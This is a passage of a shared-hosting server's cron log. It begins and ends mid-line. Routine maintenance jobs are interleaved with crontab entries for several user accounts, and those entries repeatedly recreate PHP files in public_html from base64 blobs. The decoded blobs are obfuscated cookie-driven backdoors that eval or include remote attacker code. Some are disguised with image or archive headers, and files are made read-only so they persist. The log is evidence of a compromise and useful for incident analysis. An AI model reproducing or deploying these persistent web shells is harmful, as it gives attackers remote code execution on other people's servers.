"$fp")
Mar  1 06:34:02 medusa CROND[26035]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Mar  1 06:34:02 medusa CROND[26040]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 06:34:02 medusa CROND[26025]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Mar  1 06:35:01 medusa CROND[28500]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Mar  1 06:35:01 medusa CROND[28694]: (root) CMD (/usr/bin/flock -n /var/run/edition_watcher.cronlock /usr/sbin/cloudlinux-edition-watcher check &> /dev/null)
Mar  1 06:35:01 medusa CROND[28695]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 06:35:01 medusa CROND[28696]: (root) CMD (/usr/local/cpanel/3rdparty/bin/php -d disable_functions="" /usr/local/cpanel/whostmgr/docroot/cgi/softaculous/do_backups.php >> /dev/null 2>&1)
Mar  1 06:35:01 medusa CROND[28698]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 06:35:01 medusa CROND[28701]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_cache_php.cronlock /usr/share/l.v.e-manager/utils/cache_phpdata.py)
Mar  1 06:35:01 medusa CROND[28702]: (root) CMD (   bash -c "sleep $((RANDOM % 60))" ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Mar  1 06:35:01 medusa CROND[28707]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_lve_manager.cronlock /usr/share/l.v.e-manager/cpanel/hooks/l.v.e-manager_postupcp_hook.sh --cronjob)
Mar  1 06:35:01 medusa CROND[28716]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 06:35:01 medusa CROND[28717]: (firadio) CMD (wget -q -O /dev/null http://firadio.com.ar/fiamigos/ow_cron/run.php > /dev/null)
Mar  1 06:35:01 medusa CROND[28710]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Mar  1 06:35:01 medusa CROND[28714]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_cl-quota.cronlock /usr/bin/cl-quota -YC)
Mar  1 06:35:01 medusa CROND[28720]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Mar  1 06:35:01 medusa CROND[28721]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Mar  1 06:35:01 medusa CROND[28723]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Mar  1 06:35:01 medusa CROND[28724]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_cl-syncpkg.cronlock /usr/bin/cl-syncpkgs)
Mar  1 06:35:01 medusa CROND[28733]: (root) CMD (/usr/bin/flock -n /var/run/detect_edition_changes.cronlock /usr/share/l.v.e-manager/detect_edition_changes.py > /dev/null 2>&1)
Mar  1 06:35:01 medusa CROND[28731]: (root) CMD (/usr/bin/test -x /usr/local/cpanel/bin/tail-check && /usr/local/cpanel/bin/tail-check)
Mar  1 06:35:01 medusa CROND[28739]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 06:35:01 medusa CROND[28737]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Mar  1 06:35:01 medusa CROND[28742]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Mar  1 06:35:01 medusa CROND[28741]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Mar  1 06:35:01 medusa CROND[28749]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Mar  1 06:35:01 medusa CROND[28718]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Mar  1 06:35:01 medusa CROND[28729]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Mar  1 06:36:01 medusa CROND[31814]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Mar  1 06:36:01 medusa CROND[31944]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Mar  1 06:36:01 medusa CROND[31945]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_kill_php_script.cronlock bash /usr/sbin/kill_php_script)
Mar  1 06:36:01 medusa CROND[31947]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Mar  1 06:36:01 medusa CROND[31950]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 06:36:01 medusa CROND[31951]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 06:36:01 medusa CROND[31954]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Mar  1 06:36:01 medusa CROND[31957]: (revistaenergiaco) CMD (/user/bin/curl -s 'https://news.revistaenergia.com.ar/lists/admin/?page=processqueue&secret=9f656b23bf56b9ba2362)
Mar  1 06:36:01 medusa CROND[31959]: (root) CMD (/usr/bin/flock -n /var/run/get_panel_users.cronlock /usr/sbin/getpaneluserscount &> /dev/null)
Mar  1 06:36:01 medusa CROND[31963]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Mar  1 06:36:01 medusa CROND[31966]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Mar  1 06:36:01 medusa CROND[31967]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Mar  1 06:36:01 medusa CROND[31968]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 06:36:01 medusa CROND[31972]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxM